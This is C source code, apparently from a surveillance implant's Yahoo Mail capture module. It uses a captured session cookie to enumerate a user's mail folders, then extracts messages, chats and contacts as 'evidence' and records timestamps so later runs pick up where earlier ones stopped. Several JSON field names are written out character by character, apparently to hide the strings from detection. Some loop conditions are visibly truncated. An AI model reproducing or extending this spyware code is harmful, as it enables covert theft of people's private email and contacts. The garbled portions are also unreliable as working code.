L"\t%s\r\n", L"charset=UTF-8"); } else { pStr = wcsstr(pFields->strTypeParams, L"boundary="); if(pStr != NULL) bBoundary = TRUE; swprintf_s(strField, YAHOO_ALLOC_SIZE, L"\r\n\t%s\r\n", pFields->strTypeParams); } if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } if(bBoundary == TRUE) { wcscpy(strField, L"\r\n"); if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } znfree((LPVOID*)&strField); return YAHOO_SUCCESS; } } //Content-Disposition: (di position) if(pFields->strDisposition != NULL) { swprintf_s(strField, YAHOO_ALLOC_SIZE, L"Content-Disposition: %s\r\n", pFields->strDisposition); if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } } //Content-Transfer-Encoding: (encoding) if(pFields->strEncoding != NULL) { //if the charset was forced to UTF-8, then modify the encoding field from 7bit to 8bit if((bUTF8) && (wcsstr(pFields->strEncoding, L"7bit"))) swprintf_s(strField, YAHOO_ALLOC_SIZE, L"Content-Transfer-Encoding: %s\r\n", L"8bit"); else swprintf_s(strField, YAHOO_ALLOC_SIZE, L"Content-Transfer-Encoding: %s\r\n", pFields->strEncoding); if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } } /* //Content-ID: <(cid value)> if(pFields->strCids != NULL) { swprintf_s(strField, YAHOO_ALLOC_SIZE, L"Content-ID: <%s>\r\n", pFields->strCids); if(ReallocAndAppendString(strField, strMail) != YAHOO_SUCCESS) { znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } } */ wcscpy(strField, L"\r\n"); if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } //free heap znfree((LPVOID*)&strField); return YAHOO_SUCCESS; } //add mail and section boundaries DWORD YHAddMailBoundary(LPWSTR *strMail, LPYAHOO_MAIL_BOUNDARIES lpMailBoundaries, BOOL bCloseSection) { LPWSTR strField = NULL; DWORD dwCurrBoundary; strField = (LPWSTR)malloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strField == NULL) return YAHOO_ALLOC_ERROR; dwCurrBoundary = lpMailBoundaries->dwCurrentItem; if(lpMailBoundaries->lpBoundaries == NULL) { znfree((LPVOID*)&strField); return YAHOO_SUCCESS; } if(bCloseSection == TRUE) { //write the section boundary, if present swprintf_s(strField, YAHOO_ALLOC_SIZE, L"--%s--\r\n\r\n", lpMailBoundaries->lpBoundaries[dwCurrBoundary]->strBoundary); //remove the closed boundary from memory YHDelBoundary(lpMailBoundaries->lpBoundaries, dwCurrBoundary); lpMailBoundaries->dwCurrentItem -= 1; lpMailBoundaries->dwTotItems -= 1; } else { //boundary start (two '-' characters must be used as a prefix for the boundary value) swprintf_s(strField, YAHOO_ALLOC_SIZE, L"--%s\r\n", lpMailBoundaries->lpBoundaries[dwCurrBoundary]->strBoundary); } //append the boundary to the mail if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } //free heap memory znfree((LPVOID*)&strField); return YAHOO_SUCCESS; } //realloc the buffer and append the string DWORD ReallocAndAppendString(__out LPWSTR *pBuffer, __in LPWSTR pwcsStrToAppend, __in LPWSTR pwcsStrAdd /*=NULL*/) { LPWSTR pOldBuf = NULL; DWORD dwNewSize, dwSize, dwBufSize; if(pwcsStrToAppend == NULL) return YAHOO_SUCCESS; //size of the string to append dwSize = wcslen(pwcsStrToAppend); //add size of string 2, if present if(pwcsStrAdd != NULL) dwSize += wcslen(pwcsStrAdd); //current buffer size if(*pBuffer == NULL) dwBufSize = 0; else dwBufSize = wcslen(*pBuffer); dwNewSize = ((dwBufSize + dwSize) * sizeof(WCHAR)) + sizeof(WCHAR); pOldBuf = *pBuffer; *pBuffer = (LPWSTR)realloc(*pBuffer, dwNewSize); if(*pBuffer == NULL) { znfree((LPVOID*)&pOldBuf); return YAHOO_ALLOC_ERROR; } ((*pBuffer)[dwBufSize]) = 0; //null //cat the string wcscat_s(*pBuffer, (dwBufSize + dwSize + 1), pwcsStrToAppend); //cat the second string, if present if(pwcsStrAdd != NULL) wcscat_s(*pBuffer, (dwBufSize + dwSize + 1), pwcsStrAdd); return YAHOO_SUCCESS; } /* //realloc the buffer and append the string DWORD ReallocAndAppendString(LPWSTR pwcsStrToAppend, LPWSTR *pBuffer) { LPWSTR pOldBuf = NULL; DWORD dwNewSize, dwSize, dwBufSize; if(pwcsStrToAppend == NULL) return YAHOO_SUCCESS; //size of the string to append dwSize = wcslen(pwcsStrToAppend); //current buffer size if(*pBuffer == NULL) dwBufSize = 0; else dwBufSize = wcslen(*pBuffer); dwNewSize = ((dwBufSize + dwSize) * sizeof(WCHAR)) + sizeof(WCHAR); pOldBuf = *pBuffer; *pBuffer = (LPWSTR)realloc(*pBuffer, dwNewSize); if(*pBuffer == NULL) { znfree((LPVOID*)&pOldBuf); return YAHOO_ALLOC_ERROR; } ((*pBuffer)[dwBufSize]) = 0; //null //add the new section wcscat_s(*pBuffer, (dwBufSize + dwSize + 1), pwcsStrToAppend); return YAHOO_SUCCESS; } */ DWORD YHExtractMailFields(JSONObject jMail, LPYAHOO_MAIL_FIELDS lpMailFields, LPYAHOO_MAIL_BOUNDARIES lpMailBoundaries) { //parse the returned json tree JSONArray jArray; DWORD dwLen, dwSize; WCHAR strBuffer[32]; WCHAR *pwsSub; BOOL bTextSection = FALSE; //json obj and arrays WCHAR strHeaders[] = { L'r', L'a', L'w', L'h', L'e', L'a', L'd', L'e', L'r', L's', L'\0' }; //array WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; //object WCHAR strDispositionFld[] = { L'd', L'i', L's', L'p', L'o', L's', L'i', L't', L'i', L'o', L'n', L'\0' }; //value WCHAR strEncodingFld[] = { L'e', L'n', L'c', L'o', L'd', L'i', L'n', L'g', L'\0' }; //value WCHAR strFilenameFld[] = { L'f', L'i', L'l', L'e', L'n', L'a', L'm', L'e', L'\0' }; //value WCHAR strPartIdFld[] = { L'p', L'a', L'r', L't', L'I', L'd', L'\0' }; //value WCHAR strRefCidsFld[] = { L'r', L'e', L'f', L'e', L'r', L'e', L'n', L'c', L'e', L'd', L'C', L'i', L'd', L's', L'\0' }; //value WCHAR strSubTypeFld[] = { L's', L'u', L'b', L't', L'y', L'p', L'e', L'\0' }; //value WCHAR strTextFld[] = { L't', L'e', L'x', L't', L'\0' }; //value WCHAR strTypeFld[] = { L't', L'y', L'p', L'e', L'\0' }; //value WCHAR strTypeParamsFld[] = { L't', L'y', L'p', L'e', L'P', L'a', L'r', L'a', L'm', L's', L'\0' }; //value if(!jMail[strPartIdFld]->IsString()) return YAHOO_SKIP; //get the obj part _snwprintf_s(strBuffer, sizeof(strBuffer)/2, _TRUNCATE, L"%s", jMail[strPartIdFld]->AsString().c_str()); //get obj values if(!wcscmp(strBuffer, L"HEADER")) return YAHOO_SKIP; //get partid field dwLen = wcsnlen_s(jMail[strPartIdFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strPartId = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strPartId == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpMailFields->strPartId, dwLen+1, jMail[strPartIdFld]->AsString().c_str()); } //get subtype field dwLen = wcsnlen_s(jMail[strSubTypeFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strSubType = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strSubType == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpMailFields->strSubType, dwLen+1, jMail[strSubTypeFld]->AsString().c_str()); } //get type field dwLen = wcsnlen_s(jMail[strTypeFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strType = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strType == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpMailFields->strType, dwLen+1, jMail[strTypeFld]->AsString().c_str()); } //get encoding field dwLen = wcsnlen_s(jMail[strEncodingFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strEncoding = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strEncoding == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpMailFields->strEncoding, dwLen+1, jMail[strEncodingFld]->AsString().c_str()); } //get disposition field dwLen = wcsnlen_s(jMail[strDispositionFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strDisposition = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strDisposition == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpMailFields->strDisposition, dwLen+1, jMail[strDispositionFld]->AsString().c_str()); } /* //get referenced cids (for inline pictures) if(jMail[strRefCidsFld]->IsObject()) { JSONObject jObj = jMail[strRefCidsFld]->AsObject(); dwLen = wcsnlen_s(jObj[0]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { pYHMailFields->strCids = (LPWSTR)zalloc((dwLen * sizeof(WCHAR)) + 2); if(pYHMailFields->strCids == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(pYHMailFields->strCids, dwLen+1, jObj[0]->AsString().c_str()); } } */ //get param type field dwLen = wcsnlen_s(jMail[strTypeParamsFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strTypeParams = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strTypeParams != NULL) { //verify if it's a boundary value pwsSub = wcsstr((WCHAR*)jMail[strTypeParamsFld]->AsString().c_str(), L"boundary="); if(pwsSub != NULL) { if(lpMailBoundaries != NULL) { //alloc size for boundaries lpMailBoundaries->dwTotItems += 1; if(YHAddBoundary(&lpMailBoundaries->lpBoundaries, lpMailBoundaries->dwTotItems, pwsSub, lpMailFields->strPartId) == YAHOO_ALLOC_ERROR) return YAHOO_ALLOC_ERROR; lpMailBoundaries->dwCurrentItem = lpMailBoundaries->dwTotItems-1; } } //type params wcscpy_s(lpMailFields->strTypeParams, dwLen+1, jMail[strTypeParamsFld]->AsString().c_str()); } else return YAHOO_ALLOC_ERROR; } //get text field dwLen = wcsnlen_s(jMail[strTextFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpMailFields->strText = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpMailFields->strText == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpMailFields->strText, dwLen+1, jMail[strTextFld]->AsString().c_str()); } /* #ifdef _DEBUG if(lpMailFields->strText != NULL) { // wcstombs_s((size_t*)&dwSize, strFullBody, dwLen+1, pYHMailFields->strText, _TRUNCATE); dwSize = WideCharToMultiByte(CP_UTF8, 0, lpMailFields->strText, -1, 0, 0, 0, 0); //alloc dest buffer LPSTR strFullBody = (LPSTR)malloc(dwSize+1); if(strFullBody == NULL) return YAHOO_ALLOC_ERROR; //conversion dwSize = WideCharToMultiByte(CP_UTF8, 0, lpMailFields->strText, -1, strFullBody, dwSize, 0, 0); //write the email part DumpYHTcpData(L"k:\\mail_text.txt", strFullBody, dwLen); znfree((LPVOID*)&strFullBody); } #endif */ /* //if it's the TEXT section, save content-type parameter if(pYHMailFields->strPartId != NULL) { if(!wcscmp(pYHMailFields->strPartId, L"TEXT")) { dwLen = wcsnlen_s(pYHMailFields->strType, _TRUNCATE) + wcsnlen_s(pYHMailFields->strSubType, _TRUNCATE) + (sizeof(WCHAR) * 2); if(dwLen > 0) { pYHMailFields->strHeaderType = (LPWSTR)zalloc(dwLen); swprintf(pYHMailFields->strHeaderType, dwLen, L"%s/%s", pYHMailFields->strType, pYHMailFields->strSubType); } } } */ return YAHOO_SUCCESS; } DWORD YHExtractChatFields(JSONObject jMail, LPYAHOO_CHAT_FIELDS lpChatFields) { //parse the returned json tree JSONArray jArray; DWORD dwLen, dwSize; WCHAR strBuffer[32]; //json WCHAR strPartIdFld[] = { L'p', L'a', L'r', L't', L'I', L'd', L'\0' }; //value WCHAR strSubTypeFld[] = { L's', L'u', L'b', L't', L'y', L'p', L'e', L'\0' }; //value WCHAR strTextFld[] = { L't', L'e', L'x', L't', L'\0' }; //value WCHAR strTypeFld[] = { L't', L'y', L'p', L'e', L'\0' }; //value if(!jMail[strPartIdFld]->IsString()) return YAHOO_SKIP; //get the obj part _snwprintf_s(strBuffer, sizeof(strBuffer)/2, _TRUNCATE, L"%s", jMail[strPartIdFld]->AsString().c_str()); //get obj values if(!wcscmp(strBuffer, L"HEADER")) return YAHOO_SKIP; //get subtype field dwLen = wcsnlen_s(jMail[strSubTypeFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpChatFields->strSubType = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpChatFields->strSubType == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpChatFields->strSubType, dwLen+1, jMail[strSubTypeFld]->AsString().c_str()); } //get type field dwLen = wcsnlen_s(jMail[strTypeFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpChatFields->strType = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpChatFields->strType == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpChatFields->strType, dwLen+1, jMail[strTypeFld]->AsString().c_str()); } //get text field dwLen = wcsnlen_s(jMail[strTextFld]->AsString().c_str(), _TRUNCATE); if(dwLen > 0) { lpChatFields->strText = (LPWSTR)zalloc((dwLen+1) * sizeof(WCHAR)); if(lpChatFields->strText == NULL) return YAHOO_ALLOC_ERROR; wcscpy_s(lpChatFields->strText, dwLen+1, jMail[strTextFld]->AsString().c_str()); } return YAHOO_SUCCESS; } /* //extract the numeric part of the part id field //part id is a string like 1.1, 1.2, 1.1.1 ecc.. DWORD YHExtractPartID(LPWSTR strPartID, DWORD *dwPartID) { LPSTR strTmp = NULL; DWORD i, j; //alloc tmp string strTmp = (LPWSTR)zalloc(wcslen(strPartID) + 1); if(strTmp == NULL) return YAHOO_ALLOC_ERROR; //extract the non-numeric values from the partid for(i=0, j=0; strPartID[i]!=0; i++) { if((strPartID[i] >= '0') && (strPartID[i] <= '9')) strTmp[j++] = strPartID[i]; } strTmp[j] = 0; *dwPartID = atoi(strTmp); return YAHOO_SUCCESS; } */ //create an array of boundaries DWORD YHAddBoundary(LPYAHOO_MAIL_BOUNDARY** pBoundaries, DWORD nItems, LPWSTR strBoundary, LPWSTR strPartID) { LPYAHOO_MAIL_BOUNDARY* pOld = NULL; DWORD dwSize, nCurItem, i; dwSize = sizeof(LPYAHOO_MAIL_BOUNDARY) * nItems; //realloc the boundaries array pOld = *pBoundaries; *pBoundaries = (LPYAHOO_MAIL_BOUNDARY*)realloc(*pBoundaries, dwSize); if(*pBoundaries == NULL) { free(pOld); return YAHOO_ALLOC_ERROR; } nCurItem = nItems-1; //current item //alloc the boundary structure (*pBoundaries)[nCurItem] = (LPYAHOO_MAIL_BOUNDARY)zalloc(sizeof(YAHOO_MAIL_BOUNDARY)); //save the boundary in the boundary array YHGetBoundaryValue(strBoundary, &((*pBoundaries)[nCurItem]->strBoundary)); /* //alloc the boundary string dwSize = wcslen(strBoundary) + 1; (*pBoundaries)[nCurItem]->strBoundary = (LPWSTR)zalloc(dwSize * sizeof(WCHAR)); //save the boundary wcscpy_s((*pBoundaries)[nCurItem]->strBoundary, dwSize, strBoundary); */ //alloc the partid string dwSize = wcslen(strPartID) + 1; (*pBoundaries)[nCurItem]->strPartID = (LPWSTR)zalloc(dwSize * sizeof(WCHAR)); //save the boundary wcscpy_s((*pBoundaries)[nCurItem]->strPartID, dwSize, strPartID); return YAHOO_SUCCESS; } //delete the last boundar DWORD YHDelBoundary(LPYAHOO_MAIL_BOUNDARY* pBoundaries, DWORD dwItem) { //free boundary items znfree((LPVOID*)&pBoundaries[dwItem]->strBoundary); znfree((LPVOID*)&pBoundaries[dwItem]->strPartID); znfree((LPVOID*)&pBoundaries[dwItem]); return YAHOO_SUCCESS; } DWORD YHFreeBoundaries(LPYAHOO_MAIL_BOUNDARIES lpMailBoundaries) { DWORD dwSize, i; for(i=0; idwTotItems; i++) { //free boundary items znfree((LPVOID*)&lpMailBoundaries->lpBoundaries[i]->strBoundary); znfree((LPVOID*)&lpMailBoundaries->lpBoundaries[i]->strPartID); znfree((LPVOID*)&lpMailBoundaries->lpBoundaries[i]); } return YAHOO_SUCCESS; } //structure memory deallocation DWORD YHFreeChatFields(LPYAHOO_CHAT_FIELDS pFields) { znfree((LPVOID*)&pFields->strMailUser); znfree((LPVOID*)&pFields->strAuthor); znfree((LPVOID*)&pFields->strAuthorID); znfree((LPVOID*)&pFields->strPeers); znfree((LPVOID*)&pFields->strPeersID); znfree((LPVOID*)&pFields->strSubType); znfree((LPVOID*)&pFields->strText); znfree((LPVOID*)&pFields->strType); return SOCIAL_REQUEST_SUCCESS; } //structure memory deallocation DWORD YHFreeContactFields(LPYAHOO_CONTACT_VALUES pFields) { znfree((LPVOID*)&pFields->strCompany); znfree((LPVOID*)&pFields->strEmail); znfree((LPVOID*)&pFields->strName); znfree((LPVOID*)&pFields->strPhone); return SOCIAL_REQUEST_SUCCESS; } //structure memory deallocation DWORD YHFreeMailFields(LPYAHOO_MAIL_FIELDS pYHMailFields) { znfree((LPVOID*)&pYHMailFields->strDisposition); znfree((LPVOID*)&pYHMailFields->strEncoding); znfree((LPVOID*)&pYHMailFields->strFilename); znfree((LPVOID*)&pYHMailFields->strPartId); znfree((LPVOID*)&pYHMailFields->strSubType); znfree((LPVOID*)&pYHMailFields->strText); znfree((LPVOID*)&pYHMailFields->strTypeParams); znfree((LPVOID*)&pYHMailFields->strType); return SOCIAL_REQUEST_SUCCESS; } //structure memory deallocation DWORD YHFreeConnectionParams(LPYAHOO_CONNECTION_PARAMS pYHParams) { znfree((LPVOID*)&pYHParams->strMailFolder); znfree((LPVOID*)&pYHParams->strServerName); znfree((LPVOID*)&pYHParams->strWSSID); znfree((LPVOID*)&pYHParams->strNeoGUID); znfree((LPVOID*)&pYHParams->strUUID); znfree((LPVOID*)&pYHParams->strRndValue); return SOCIAL_REQUEST_SUCCESS; } DWORD YahooMessageHandler(LPSTR strCookie) { if (!bPM_MailCapStarted) return SOCIAL_REQUEST_SUCCESS; //json params std::vector::size_type iItem; JSONValue* jValue = NULL; JSONObject jObj; JSONArray jFolders; WCHAR strFidFld[] = { L'f', L'i', L'd', L'\0' }; WCHAR strFolderFld[] = { L'f', L'o', L'l', L'd', L'e', L'r', L'\0' }; WCHAR strFolderInfoFld[] = { L'f', L'o', L'l', L'd', 'e', L'r', L'I', L'n', 'f', L'o', L'\0' }; WCHAR strNameFld[] = { L'n', L'a', L'm', L'e', L'\0' }; WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; YAHOO_CONNECTION_PARAMS YHParams; LPSTR strFolderName = NULL; DWORD dwLen = 0; size_t dwSize; BOOL bIncoming, bDraft; SecureZeroMemory(&YHParams, sizeof(YHParams)); //get connection parameters used in later queries DWORD dwRet = YHGetConnectionParams(&YHParams, strCookie); if (dwRet != SOCIAL_REQUEST_SUCCESS) return dwRet; //get the mail folder names dwRet = YHGetFoldersName(&jValue, &YHParams, strCookie); if(dwRet != SOCIAL_REQUEST_SUCCESS) { YHFreeConnectionParams(&YHParams); return dwRet; } //json tree of mail folders if ((jValue != NULL) && (jValue)->IsObject()) { jObj = (jValue)->AsObject(); //json root //find the result object if (jObj.find(strRoot) != jObj.end() && jObj[strRoot]->IsObject()) { jObj = jObj[strRoot]->AsObject(); if (jObj[strFolderFld]->IsArray()) { //folder array jFolders = jObj[strFolderFld]->AsArray(); } } } else { //if the json is not an obj or it's null, return an error zndelete((LPVOID*)&jValue); return SOCIAL_REQUEST_BAD_COOKIE; } //loop to retrieve mails in every folder for(iItem=0; iItemIsObject()) continue; //folder[iItem] object jObj = jFolders[iItem]->AsObject(); if(!jObj[strFolderInfoFld]->IsObject()) continue; //folderInfo object jObj = jObj[strFolderInfoFld]->AsObject(); if(!jObj[strFidFld]->IsString()) continue; //convert folder name to LPSTR dwLen = wcslen(jObj[strFidFld]->AsString().c_str()) + 1; strFolderName = (LPSTR)zalloc(dwLen); if(strFolderName == NULL) { YHFreeConnectionParams(&YHParams); zndelete((LPVOID*)&jValue); return SOCIAL_REQUEST_BAD_COOKIE; } wcstombs_s(&dwSize, strFolderName, dwLen, jObj[strFidFld]->AsString().c_str(), _TRUNCATE); bIncoming = TRUE; bDraft = FALSE; if(!_stricmp(strFolderName, "Sent")) bIncoming = FALSE; else if(!_stricmp(strFolderName, "Draft")) { bDraft = TRUE; bIncoming = FALSE; } //parse mail folder if(YHParseMailBox(strFolderName, strCookie, &YHParams, bIncoming, bDraft) == YAHOO_ALLOC_ERROR) iItem = jFolders.size() + 1; //exit from the loop //free heap znfree((LPVOID*)&strFolderName); } //delete json parsed value zndelete((LPVOID*)&jValue); //free connection params YHFreeConnectionParams(&YHParams); return SOCIAL_REQUEST_SUCCESS; } //ascii char to unicode conversion (utf-8) void AsciiCharToQP(WCHAR ch, LPWSTR lpOutBuf) { WCHAR ch0, ch1; DWORD dwLen=0, i; if(ch == 0) return; //if it's > 0xFF, convert it to a mb array if(ch > 0xFF) { WCHAR strBuf[16]; char strTmpBuf[4]; dwLen = WideCharToMultiByte(CP_UTF8, 0, &ch, 1, strTmpBuf, 4, 0, 0); *lpOutBuf = 0; for(i=0; i 0x7F) { //AND char with 00111111 and OR the result with 10000000 ch0 = (ch & 0x3F) | 0x80; //shift byte, AND it with 00000011 and OR the result with 11000000 ch1 = ((ch >> 6) & 0x03) | 0xC0; swprintf_s(lpOutBuf+dwLen, 16, L"=%02X=%02X", ch1, ch0); } else { swprintf_s(lpOutBuf+dwLen, 16, L"=%02X", ch); } } /* void AsciiCharToQP(CHAR ch, LPSTR lpOutBuf) { CHAR ch0, ch1; if(ch == 0) return; if(ch > 0x7F) { //AND char with 00111111 and OR the result with 10000000 ch0 = (ch & 0x3F) | 0x80; //shift byte, AND it with 00000011 and OR the result with 11000000 ch1 = ((ch >> 6) & 0x03) | 0xC0; sprintf_s(lpOutBuf, 16, "=%02X=%02X", ch1, ch0); } else { sprintf_s(lpOutBuf, 16, "=%02X", ch); } } BOOL IsEOL(CHAR* pBuf) { if ((pBuf[0] == '\r') && (pBuf[1] == '\n')) return TRUE; return FALSE; } */ //check if the char is a \n char BOOL IsEOL(WCHAR* pBuf) { if ((pBuf[0] == '\r') && (pBuf[1] == '\n')) return TRUE; return FALSE; } /* //ascii buffer to quoted printable conversion DWORD AsciiBufToQP(LPWSTR lpBuffer, DWORD dwSize, LPWSTR* lpUTFBuf) { LPSTR strMB=NULL, strTmpDest=NULL; CHAR strUTF[16]; CHAR ch; DWORD i, dwNewSize, dwWR, j, dwLen, dwLine; BOOL bEOL = FALSE; //convertion to UTF charset if(ConvertToUTF8(lpBuffer, &strMB) != YAHOO_SUCCESS) return YAHOO_ERROR; dwNewSize = dwSize+256; //alloc a new buffer 256 byte bigger than the original strTmpDest = (LPSTR)zalloc(dwNewSize); if(strTmpDest == NULL) { znfree((LPVOID*)&strMB); return YAHOO_ALLOC_ERROR; } SecureZeroMemory(strTmpDest, dwNewSize); //conversion loop for(dwLine=0, dwWR=0, i=0; i= dwNewSize) { strTmpDest = (LPSTR)realloc(strTmpDest, (dwNewSize+256)); if(strTmpDest == NULL) { znfree((LPVOID*)&strMB); return YAHOO_ALLOC_ERROR; } strTmpDest[dwWR+dwLen] = 0; dwNewSize += 256; } //wcscat(*lpUTFBuf, strUTF); //copy chars to the new buffer and adds a "=\r\n" if the line exceeds 75 chars for (j=0; strUTF[j] != 0; j++) { if ((dwLine == 73) && (dwWR > 0)) { //if it's an encoded char, then write it exceeding the fixed length if(dwLen > 1) { memcpy(&strTmpDest[dwWR], &strUTF[j], ((dwLen-j)*sizeof(WCHAR))); dwWR += (dwLen-j); strTmpDest[dwWR++] = L'='; strTmpDest[dwWR++] = L'\r'; strTmpDest[dwWR++] = L'\n'; dwLine = 0; break; } else { strTmpDest[dwWR++] = L'='; strTmpDest[dwWR++] = L'\r'; strTmpDest[dwWR++] = L'\n'; strTmpDest[dwWR++] = strUTF[j]; } dwLine = 0; } else strTmpDest[dwWR++] = strUTF[j]; dwLine++; } } znfree((LPVOID*)&strMB); //null terminate the buffer strTmpDest[dwWR++] = 0; //convert from multibyte to wide char dwSize = MultiByteToWideChar(CP_UTF8, 0, strTmpDest, -1, *lpUTFBuf, 0); //alloc required WCHARS *lpUTFBuf = (LPWSTR)zalloc(dwSize*sizeof(WCHAR)); if(*lpUTFBuf == NULL) { znfree((LPVOID*)&strTmpDest); return YAHOO_ALLOC_ERROR; } MultiByteToWideChar(CP_UTF8, 0, strTmpDest, -1, *lpUTFBuf, dwSize); //free heap znfree((LPVOID*)&strTmpDest); return YAHOO_SUCCESS; } */ //ascii buffer to quoted printable conversion DWORD AsciiBufToQP(LPWSTR lpBuffer, DWORD dwSize, LPWSTR* lpUTFBuf) { LPWSTR pOldBuf = NULL; LPSTR strMB=NULL, strTmpDest=NULL; WCHAR strUTF[16]; WCHAR ch; DWORD i, dwNewSize, dwWR, j, dwLen, dwLine; BOOL bEOL = FALSE; dwNewSize = dwSize + YAHOO_ALLOC_SIZE; //alloc a new buffer 512 byte bigger than the original *lpUTFBuf = (LPWSTR)zalloc(dwNewSize*sizeof(WCHAR)); if(*lpUTFBuf == NULL) return YAHOO_ALLOC_ERROR; SecureZeroMemory(*lpUTFBuf, dwNewSize); //conversion loop for(dwLine=0, dwWR=0, i=0; i= dwNewSize) { pOldBuf = *lpUTFBuf; *lpUTFBuf = (LPWSTR)realloc(*lpUTFBuf, (dwNewSize+YAHOO_ALLOC_SIZE) * sizeof(WCHAR)); if(*lpUTFBuf == NULL) { znfree((LPVOID*)pOldBuf); return YAHOO_ALLOC_ERROR; } *((*lpUTFBuf)+dwWR+dwLen) = 0; dwNewSize += YAHOO_ALLOC_SIZE; } //wcscat(*lpUTFBuf, strUTF); //copy chars to the new buffer and adds a "=\r\n" if the line exceeds 75 chars for (j=0; strUTF[j] != 0; j++) { if ((dwLine == 73) && (dwWR > 0)) { //if it's an encoded char, then write it exceeding the fixed length if(dwLen > 1) { memcpy((*lpUTFBuf)+(dwWR), &strUTF[j], ((dwLen-j)*sizeof(WCHAR))); dwWR += (dwLen-j); *((*lpUTFBuf)+(dwWR++)) = L'='; *((*lpUTFBuf)+(dwWR++)) = L'\r'; *((*lpUTFBuf)+(dwWR++)) = L'\n'; dwLine = 0; break; } else { *((*lpUTFBuf)+(dwWR++)) = L'='; *((*lpUTFBuf)+(dwWR++)) = L'\r'; *((*lpUTFBuf)+(dwWR++)) = L'\n'; *((*lpUTFBuf)+(dwWR++)) = strUTF[j]; } dwLine = 0; } else *((*lpUTFBuf)+(dwWR++)) = strUTF[j]; dwLine++; } } //null terminate the buffer *((*lpUTFBuf)+(dwWR)) = 0; return YAHOO_SUCCESS; } //verify if che char must be converted to utf BOOL ConvertChar(WCHAR ch, BOOL bEOL) { WCHAR chTable1[] = L"\t\r\n="; //to be encoded WCHAR chTable2[] = L"\t ="; //to be encoded only if the char is the last of the line DWORD i; if(ch > 0x7F) return TRUE; if(bEOL == FALSE) { for(i=0; i 0x7F) return TRUE; if(bEOL == FALSE) { for(i=0; istrNeoGUID, _TRUNCATE); //encode the suffix pEnc = base64_encodeY((const unsigned char*)pstrSuffix, strlen(pstrSuffix)); if(pEnc == NULL) return YAHOO_ALLOC_ERROR; //add the suffix strcat_s(strTSName, sizeof(strTSName), pEnc); //free heap znfree((LPVOID*)&pEnc); //get last timestamp saved pYHParams->dwLowTS = GetLastFBTstamp(strTSName, &pYHParams->dwHighTS); return YAHOO_SUCCESS; } //set the last timestamp used for the requested evidence type DWORD YHSetLastTimeStamp(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR pstrSuffix) { char strTSName[64]; char *pEnc = NULL; size_t dwSize; //wchar to multibyte wcstombs_s(&dwSize, strTSName, sizeof(strTSName), pYHParams->strNeoGUID, _TRUNCATE); //encode the suffix pEnc = base64_encodeY((const unsigned char*)pstrSuffix, strlen(pstrSuffix)); if(pEnc == NULL) return YAHOO_ALLOC_ERROR; //add a suffix strcat_s(strTSName, sizeof(strTSName), pEnc); znfree((LPVOID*)&pEnc); //get last timestamp saved SetLastFBTstamp(strTSName, pYHParams->dwLowTS, pYHParams->dwHighTS); return YAHOO_SUCCESS; } .